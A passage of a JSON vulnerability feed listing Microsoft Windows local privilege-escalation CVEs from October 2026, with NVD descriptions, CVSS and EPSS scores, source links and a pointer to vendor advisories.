Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:05.253Z","updatedAt":"2026-10-16T16:23:01.690Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96932","asOf":"2026-10-16T16:23:01.690Z"},"epss":{"probability":0.00214,"percentile":0.1166,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96932","type":"primary","publishedAt":"2026-10-13T19:22:05.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96932","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96931","cveId":"CVE-2026-96931","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:05.073Z","updatedAt":"2026-10-16T16:23:01.507Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96931","asOf":"2026-10-16T16:23:01.507Z"},"epss":{"probability":0.00353,"percentile":0.28697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96931","type":"primary","publishedAt":"2026-10-13T19:22:05.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96931","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96929","cveId":"CVE-2026-96929","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:04.720Z","updatedAt":"2026-10-16T19:35:12.897Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2022","stacks":["Microsoft Windows","windows server 2022"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96929","asOf":"2026-10-16T19:35:12.897Z"},"epss":{"probability":0.00484,"percentile":0.41377,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96929&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96929","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96929","type":"primary","publishedAt":"2026-10-13T19:22:04.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96929","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96929&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96929, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96928","cveId":"CVE-2026-96928","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:04.543Z","updatedAt":"2026-10-16T19:35:36.963Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96928","asOf":"2026-10-16T19:35:36.963Z"},"epss":{"probability":0.00311,"percentile":0.23702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96928&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96928","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96928","type":"primary","publishedAt":"2026-10-13T19:22:04.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96928","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96928&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96928, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96923","cveId":"CVE-2026-96923","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Workstation Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Workstation Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Workstation Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:03.690Z","updatedAt":"2026-10-16T19:37:25.317Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96923","asOf":"2026-10-16T19:37:25.317Z"},"epss":{"probability":0.00279,"percentile":0.20191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96923&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96923","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96923","type":"primary","publishedAt":"2026-10-13T19:22:03.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96923","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96923&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96923, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96920","cveId":"CVE-2026-96920","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:03.340Z","updatedAt":"2026-10-16T19:38:14.993Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96920","asOf":"2026-10-16T19:38:14.993Z"},"epss":{"probability":0.00311,"percentile":0.237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96920","type":"primary","publishedAt":"2026-10-13T19:22:03.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96920","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96919","cveId":"CVE-2026-96919","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:03.193Z","updatedAt":"2026-10-16T19:05:10.870Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96919","asOf":"2026-10-16T19:05:10.870Z"},"epss":{"probability":0.00193,"percentile":0.08867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96919","type":"primary","publishedAt":"2026-10-13T19:22:03.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96919","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96918","cveId":"CVE-2026-96918","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:03.030Z","updatedAt":"2026-10-16T19:04:46.247Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96918","asOf":"2026-10-16T19:04:46.247Z"},"epss":{"probability":0.00316,"percentile":0.24254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96918&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96918","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96918","type":"primary","publishedAt":"2026-10-13T19:22:03.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96918","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96918&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96918, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96917","cveId":"CVE-2026-96917","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:02.880Z","updatedAt":"2026-10-16T19:04:27.730Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96917","asOf":"2026-10-16T19:04:27.730Z"},"epss":{"probability":0.0036,"percentile":0.29537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96917&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96917","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96917","type":"primary","publishedAt":"2026-10-13T19:22:02.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96917","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96917&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96917, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96916","cveId":"CVE-2026-96916","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:02.703Z","updatedAt":"2026-10-16T19:02:30.547Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96916","asOf":"2026-10-16T19:02:30.547Z"},"epss":{"probability":0.00353,"percentile":0.28698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96916&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96916","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96916","type":"primary","publishedAt":"2026-10-13T19:22:02.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96916","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96916&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96916, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96915","cveId":"CVE-2026-96915","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:02.523Z","updatedAt":"2026-10-16T20:52:06.863Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96915","asOf":"2026-10-16T20:52:06.863Z"},"epss":{"probability":0.00303,"percentile":0.22816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96915","type":"primary","publishedAt":"2026-10-13T19:22:02.523Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96915","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96914","cveId":"CVE-2026-96914","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:02.350Z","updatedAt":"2026-10-22T18:59:21.337Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96914","asOf":"2026-10-22T18:59:21.337Z"},"epss":{"probability":0.00327,"percentile":0.25586,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 